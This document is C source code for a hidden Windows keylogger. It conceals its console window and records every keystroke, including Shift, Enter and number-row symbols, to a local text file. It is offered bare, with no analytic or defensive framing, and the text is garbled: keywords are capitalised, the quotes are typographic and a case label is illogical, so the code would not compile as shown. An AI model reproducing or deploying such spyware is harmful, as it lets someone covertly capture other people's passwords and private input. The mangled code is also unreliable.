#include <windows.h>

#include <stdio.h>

#include <winuser.h>

Int main()

{

HWND stealth;

AllocConsole();

Stealth=FindWindowA(“ConsoleWindowClass”,NULL);

ShowWindow(stealth,0);

FILE \*file;

File=fopen(“file.txt”,”a+”);

Short character;

While(1)

{

For(character=8;character<=222;character++)

{

If(GetAsyncKeyState(character)==-32767)

{

FILE \*file;

File=fopen(“file.txt”,”a+”);

If(file==NULL)

{

Return 1;

}

If(file!=NULL)

{

If((character>64)&&(character<91)&& !(GetAsyncKeyState(0x10)))

{

Character+=32;

Fputc(character,file);

Fclose(file);

Break;

}

Else if(GetAsyncKeyState(VK\_CAPITAL)==0)

{ if((character>=64)&&(character<=91))

{

Fputc(character,file);

Fclose(file);

Break;

}

}

Else if (GetAsyncKeyState(0x10))

{ if((character>=64)&&(character<=91))

{

Fputc(character,file);

Fclose(file);

Break;

}

}

Else

{

Switch(character)

{

Case VK\_SPACE:

Fputc(‘ ‘,file);

Fclose(file);

Break;

Case VK\_SHIFT:

Fputs(“[SHIFT]”,file);

Fclose(file);

Break;

Case VK\_RETURN:

Fputs(“\r[ENTER]\r”,file);

Fclose(file);

Break;

Case VK\_BACK:

Fputs(“\r[BACKSPACE]\r”,file);

Fclose(file);

Break;

Case VK\_TAB:

Fputs(“\r[TAB]\r”,file);

Fclose(file);

Break;

Case VK\_CONTROL:

Fputs(“\r[CTRL]\r”,file);

Fclose(file);

Break;

Case VK\_DELETE:

Fputs(“\r[DEL]\r”,file);

Fclose(file);

Break;

Case VK\_ESCAPE:

Fputs(“\r[ESC]\r”,file);

Fclose(file);

Break;

Case VK\_UP:

Fputs(“\r[UP]\r”,file);

Fclose(file);

Break;

Case VK\_RIGHT:

Fputs(“\r[RIGHT]\r”,file);

Fclose(file);

Break;

Case VK\_DOWN:

Fputs(“\r[DOWN]\r”,file);

Fclose(file);

Break;

Case VK\_LEFT:

Fputs(“\r[LEFT]\r”,file);

Fclose(file);

Break;

Case 190 || 110:

Fputs(“[.]”,file);

Fclose(file);

Break;

Case 48:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“)”,file);

Fclose(file);

}

Else

{

Fputs(“0”,file);

Fclose(file);

}

}

Break;

Case 49:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“!”,file);

Fclose(file);

}

Else

{

Fputs(“1”,file);

Fclose(file);

}

}

Break;

Case 50:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“@”,file);

Fclose(file);

}

Else

{

Fputs(“2”,file);

Fclose(file);

}

}

Break;

Case 51:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“#”,file);

Fclose(file);

}

Else

{

Fputs(“3”,file);

Fclose(file);

}

}

Break;

Case 52:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“$”,file);

Fclose(file);

}

Else

{

Fputs(“4”,file);

Fclose(file);

}

}

Break;

Case 53:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“%”,file);

Fclose(file);

}

Else

{

Fputs(“5”,file);

Fclose(file);

}

}

Break;

Case 54:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“^”,file);

Fclose(file);

}

Else

{

Fputs(“6”,file);

Fclose(file);

}

}

Break;

Case 55:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“&”,file);

Fclose(file);

}

Else

{

Fputs(“7”,file);

Fclose(file);

}

}

Break;

Case 56:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“\*”,file);

Fclose(file);

}

Else

{

Fputs(“8”,file);

Fclose(file);

}

}

Break;

Case 57:

{

If(GetAsyncKeyState(0x10))

{

Fputs(“(“,file);

Fclose(file);

}

Else

{

Fputs(“9”,file);

Fclose(file);

}

}

}

}

}

}

}

}

}